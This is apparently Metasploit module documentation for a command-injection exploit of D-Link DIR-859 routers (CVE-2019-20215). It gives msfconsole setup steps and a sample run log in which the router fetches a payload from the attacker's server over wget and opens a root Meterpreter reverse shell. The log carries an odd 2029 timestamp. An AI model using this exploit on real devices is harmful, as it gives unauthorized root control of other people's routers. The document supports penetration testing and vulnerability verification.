## Vulnerable Application

### Introduction

This module exploits CVE-2019–20215, an unauthenticated remote injection of operating system commands.
The vulnerability was found in the ssdpcgi() function, and the payload can be injected through either the UUID
or URN headers of a M-SEARCH UPnP request.

Get a [D-Link router/vulnerable firmware](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147),
or download firmware versions 1.06 or 1.05 and run them on firmadyne or similar emulation frameworks.

## Verification Steps

1. Set up router/emulated device
2. Start `msfconsole`
3. Do: `use exploit/linux/http/dlink_dir859_exec_ssdpcgi`
4. Do: `set RHOSTS <router_ip>`
5. Do: `set LHOST <local_ip>`
6. Do: `set TARGET <URN/UUID>`
7. Do: `run`
8. You should get a session as `root`.

## Options

### VECTOR

This option denotes which header will be used in the request (UUID or URN)
that triggers the vulnerability.

## Scenarios

### D-link DIR-859 Firmware 1.05

```
msf exploit(linux/http/dlink_dir859_exec_ssdpcgi) > run 
[*] Started reverse TCP handler on 192.168.0.2:4444 
[*] Using URL: http://0.0.0.0:8080/38YWEX2
[*] Local IP: http://192.168.70.28:8080/38YWEX2
[*] Target Payload URN
[*] Client 192.168.0.1 (Wget) requested /38YWEX2
[*] Sending payload to 192.168.0.1 (Wget)
[*] Command Stager progress - 100.00% done (110/110 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.1:41057) at 2029-12-31 14:15:22 -0300
[*] Server stopped.
meterpreter > 
```
